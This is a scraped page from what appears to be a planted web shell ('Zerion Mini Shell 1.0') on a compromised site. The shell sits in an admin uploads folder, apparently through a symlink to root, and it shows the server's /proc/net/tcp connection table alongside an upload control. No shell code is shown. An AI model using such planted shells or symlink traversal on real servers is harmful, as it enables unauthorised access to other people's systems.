ok

Mini Shell

Direktori : /home/gainstransformin/www/Gains_admin/uploads/indosec_sym/root/proc/3841785/net/
Upload File :
Current File : /home/gainstransformin/www/Gains_admin/uploads/indosec_sym/root/proc/3841785/net/tcp

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0827 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25453 1 0000000000000000 100 0 0 10 5                     
   1: 00000000:024B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 166283333 1 0000000000000000 100 0 0 10 50                
   2: 00000000:082B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32146 1 0000000000000000 100 0 0 10 5                     
   3: 00000000:006E 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24511 1 0000000000000000 100 0 0 10 0                     
   4: 0100007F:030F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 195089058 1 0000000000000000 100 0 0 10 0                 
   5: 00000000:082F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25458 1 0000000000000000 100 0 0 10 5                     
   6: 00000000:008F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24541 1 0000000000000000 100 0 0 10 0                     
   7: 00000000:006F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17745 1 0000000000000000 100 0 0 10 0                     
   8: 00000000:08B0 00000000:0000 0A 00000000:00000000 00:00000000 00000000   993        0 33838 1 0000000000000000 100 0 0 10 0                     
   9: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27563 1 0000000000000000 100 0 0 10 0                     
  10: 00000000:0830 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25459 1 0000000000000000 100 0 0 10 5                     
  11: 00000000:01D1 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 166283331 1 0000000000000000 100 0 0 10 50                
  12: 00000000:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 27332 1 0000000000000000 100 0 0 10 0                     
  13: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28713 1 0000000000000000 100 0 0 10 0                     
  14: 00000000:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 166283329 1 0000000000000000 100 0 0 10 50                
  15: 0100007F:03B9 00000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 27335 1 0000000000000000 100 0 0 10 0                     
  16: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27565 1 0000000000000000 100 0 0 10 0                     
  17: 00000000:081D 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32150 1 0000000000000000 100 0 0 10 5                     
  18: 00000000:081E 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32148 1 0000000000000000 100 0 0 10 5                     
  19: 00000000:081F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32149 1 0000000000000000 100 0 0 10 5                     
  20: 00000000:0820 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 32147 1 0000000000000000 100 0 0 10 5                     
  21: 00000000:03E1 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24543 1 0000000000000000 100 0 0 10 0                     
  22: 00000000:0822 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25450 1 0000000000000000 100 0 0 10 5                     
  23: 0100007F:0243 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25575 1 0000000000000000 100 0 0 10 0                     
  24: 00000000:0823 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25452 1 0000000000000000 100 0 0 10 5                     
  25: 00000000:03E3 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24513 1 0000000000000000 100 0 0 10 0                     
  26: 00000000:0826 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25451 1 0000000000000000 100 0 0 10 5                     
  27: 90544A61:0050 886F545B:CBC2 06 00000000:00000000 03:000014C9 00000000     0        0 0 3 0000000000000000                                      
  28: 90544A61:01BB 886F545B:A506 06 00000000:00000000 03:0000148A 00000000     0        0 0 3 0000000000000000                                      
  29: 90544A61:0050 886F545B:CBDA 06 00000000:00000000 03:00001551 00000000     0        0 0 3 0000000000000000                                      
  30: 0100007F:A7CA 0100007F:082F 08 00000000:00000001 00:00000000 00000000 65534        0 211317180 1 0000000000000000 20 4 30 10 -1                
  31: 90544A61:01BB 33D849D8:7851 01 0000060E:00000000 01:00000027 00000000 65534        0 212706566 3 0000000000000000 44 4 0 76 -1                 
  32: 0100007F:A7A8 0100007F:082F 08 00000000:00000001 00:00000000 00000000 65534        0 211311169 1 0000000000000000 20 4 30 10 -1                
  33: 90544A61:01BB DDCFAB14:8D22 06 00000000:00000000 03:00000FAF 00000000     0        0 0 3 0000000000000000                                      
  34: 90544A61:0050 8F8CD268:3926 06 00000000:00000000 03:000004D7 00000000     0        0 0 3 0000000000000000                                      
  35: 90544A61:01BB 0B068D39:8C6E 01 00005481:00000000 01:00000026 00000000 65534        0 212711701 3 0000000000000000 63 4 1 20 -1                 
  36: 90544A61:0050 886F545B:CBCC 06 00000000:00000000 03:00001513 00000000     0        0 0 3 0000000000000000                                      
  37: 90544A61:D79E 33A26622:01BB 06 00000000:00000000 03:00000A25 00000000     0        0 0 3 0000000000000000                                      
  38: 90544A61:0050 886F545B:CBE4 06 00000000:00000000 03:00001596 00000000     0        0 0 3 0000000000000000                                      
  39: 90544A61:0050 56C55732:758E 01 00000000:00000000 02:000A5B34 00000000 65534        0 212621832 2 0000000000000000 9658 0 0 10 -1               

Zerion Mini Shell 1.0